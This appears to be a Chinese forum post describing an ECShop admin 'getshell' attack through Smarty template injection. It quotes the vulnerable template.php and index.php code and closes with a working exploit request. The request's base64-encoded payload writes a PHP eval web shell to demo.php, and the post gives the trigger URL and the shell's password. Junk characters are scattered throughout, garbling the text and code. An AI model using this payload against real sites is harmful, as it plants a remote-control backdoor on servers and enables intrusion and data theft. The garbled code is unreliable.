Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

: w' Z) K: ]0 [, @3 D而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ \* ?3 `$ q7 s: X; |5 S0 Ladmin/template.php

6 e! k9 o- c! s) `3 O! s/ X& B1 if ($_REQUEST['act'] == 'update_library')
; D2 U* v( r6 U
2   

3 {
3 y6 @1 D8 x/ M9 U; ^- x/ K
4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

6 M, Z# P0 q- b0 \8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

. X* H: Y8 W. w9   
  M: g" m$ Z$ p, A7 Z+ |3 M
$ p) n8 K; i! |- e: Q! l10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
- ]1 @3 m( y% m5 C" \( ^
4 M( Y8 J9 ]3 w: g" @) L11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
6 u+ m4 T6 J; [
13   
/ k- D0 O: ^7 S3 P
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 C( E, E3 d; G
* k! V( N' _: t" P15     {
0 i* ~* r  d" Q" d
% C) p) E8 M4 K$ z. S' A# [; p) C16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

18     }
9 W5 A: p5 M% z) |
19     else
, f% I' {2 Q/ e+ w$ F. v
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

$ R5 M5 @4 W8 x22     }

) ~( U* u$ O9 R/ s, N# ?23 }
6 ?1 R" C+ W6 o* |, c0 A
7 F4 g5 @- z/ }那么找个比较方便调用了模板的文件
8 a( Y% F( r/ K; Lindex.php

+ @/ K: W# R$ ^4 A" W  b2 V1 if ($act == 'cat_rec')

2   
9 ~1 O' q. ^6 N$ \3 h
3 {
* a1 G* A0 R3 Y; C. S1 X
4   

: ^9 w% a0 a" a8 I/ o& h$ d. u: r, F5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

+ r0 b' s# q% Y! u6   
2 _' Z, D/ }7 s  _
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8 n! N. e- S+ o% m/ \$ L8   
. }% C, \; t! z$ ]( ~- w' _' J$ p7 Y  ?
% J! _6 e5 A% _  P. Z% ?  N5 ]& Q5 C9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

, Z+ B4 p) b8 G# B4 U0 o10   

+ V" M5 c" J! [11     include_once('includes/cls_json.php');
4 e8 e( `- I' x5 T2 r
12   
0 {* C2 j# s6 S8 H4 D( B
; N6 i, L4 j1 D: c13     $json = new JSON;

14   
% Z1 `1 e5 d; b1 K
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

( z& ], q! v' _# v* F5 V17     $children = get_children($cat_id);
$ U4 e; J( ^& W' c7 F, k8 b
18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
$ O- o6 [6 T$ X7 c, J% m* F
20   

21     $smarty->assign('cat_rec_sign', 1);
7 @+ O, h, H% V
22   
7 F$ B( C* h6 J  n
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
' R7 }4 `' ~' g$ |4 q
" b4 |% m! r4 z& K% }: y8 Y27         echo $rec_array[$rec_type];
6 n7 e5 ~+ f/ K& j+ R
28   
' Y) S' s% n' J! ?) K3 t2 ~4 H
% L) L/ x8 ^5 b) v' v- H( r29     die($json->encode($result));
! d1 V5 T" h) l
2 h6 Z3 L; p) M+ Q0 m7 K30   

* |4 h' s" f% S. i2 W31 }
- F  i; B  ?8 a9 v& \# W
那么就有利用方法了
9 d6 ?% `- O1 Xpost包到http://localhost/ec/admin/template.php?act=update_library
9 x6 J% M1 j2 q" A9 U& ZPost内容：
4 t0 A4 p  c' y0 F
( X* |4 t% S3 z. |- ~​
/ u6 c9 A$ ~- w) @3 e1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 z; ^6 Y2 z7 U5 z4 U7 A
然后访问http://localhost/ec/index.php?act=cat_rec

6 z1 O5 L& _7 g) U: S( d6 y* Oshel地址：http://localhost/ec/demo.php
密码c
7 l" W5 ?% W( y) z$ `, s* l
! d& \5 ]/ c7 p. f